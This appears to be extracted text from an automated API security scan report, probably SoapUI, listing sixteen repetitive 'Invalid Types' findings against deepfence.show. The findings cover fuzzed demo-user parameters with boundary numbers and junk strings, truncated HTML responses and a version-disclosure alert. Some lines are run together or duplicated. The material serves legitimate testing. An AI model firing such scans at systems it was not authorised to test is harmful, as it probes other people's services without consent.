AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1956
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io-1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1957
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.Issue Number #1958
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1267896799
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1959
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io882223334991111111
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1960
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io294967295
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1961
Scan Invalid Types
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io65535
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1962
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io255
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1963
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioSoapUI is the best
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1964
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@ SoapUI is the bestdeepfence.io
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1965
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# true
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.Issue Number #1966
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# GpM7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1967
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 0FB7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1968
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -1E4f
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1969
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# 12.45E+12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1970
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -1.23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1971
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# SoapUI is the best
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
